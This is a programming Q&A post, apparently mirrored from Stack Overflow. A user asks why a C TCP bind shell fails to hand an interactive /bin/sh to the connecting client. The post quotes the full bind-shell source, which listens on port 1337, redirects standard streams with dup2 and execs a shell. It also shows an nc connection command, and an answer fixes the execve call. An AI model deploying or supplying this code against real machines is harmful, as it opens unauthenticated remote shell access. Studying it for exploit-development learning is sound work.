I am having trouble getting a simple TCP bindshell to work, and I am hoping someone here can help me out.
Here is some simple sample code in C, the problem are for me is the last 5 lines or so.
Let's call this simple_bindshell.c
(I am not the author):
// Author: Julien Ahrens (@MrTuxracer)
// Website: http://www.rcesecurity.com
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void)
{
int i; // used for dup2 later
int sockfd; // socket file descriptor
int clientfd; // client file descriptor
socklen_t socklen; // socket-length for new connections
struct sockaddr_in srv_addr; // server aka listen address
struct sockaddr_in cli_addr; // client address
srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order
// create new TCP socket
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// bind socket
bind( sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );
// listen on socket
listen(sockfd, 0);
// accept new connections
socklen = sizeof(cli_addr);
clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &socklen );
// dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
for(i = 0; i <= 2; i++)
dup2(clientfd, i);
// magic
// execve( "/bin/sh", NULL, NULL );
//UPDATE: fixed exec call, shell still not returned to
// client connecting with execl or proper execve
execl("/bin/sh", "/bin/sh", (char *)NULL);
}
Problem Description
When compiled, I can connect to the socket (using: nc 192.168.xx 1337). The problem is my client connection is closed immediately, and the shell is returned to the simple_bindshell
process on the server, not the client who initiated the connection.
I get that we've duplicated the stdin, stdout, stderr file descriptors, but I am not sure how that links to executing /bin/sh.
What I would like to happen is the client connecting in gets an interactive shell back.
I have tried calling execve in a few different ways (eg passing different values for argv), but I can't seem to get my head around why it's not working. Does execve need the client file descriptor?
Any help would be appreciated
Your arguments to execve()
are wrong. The second argument must be a pointer to an array of strings, which will become the argv
array in the new program. The third argument must be a pointer to an array of strings that will become the environment array of the new program.
char *new_argv[] = {"/bin/sh", NULL};
char *new_envp[] = {NULL};
execve( "/bin/sh", new_argv, new_envp);
You could do it more simply using execl()
:
execl("/bin/sh", "/bin/sh", (char *)NULL);
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.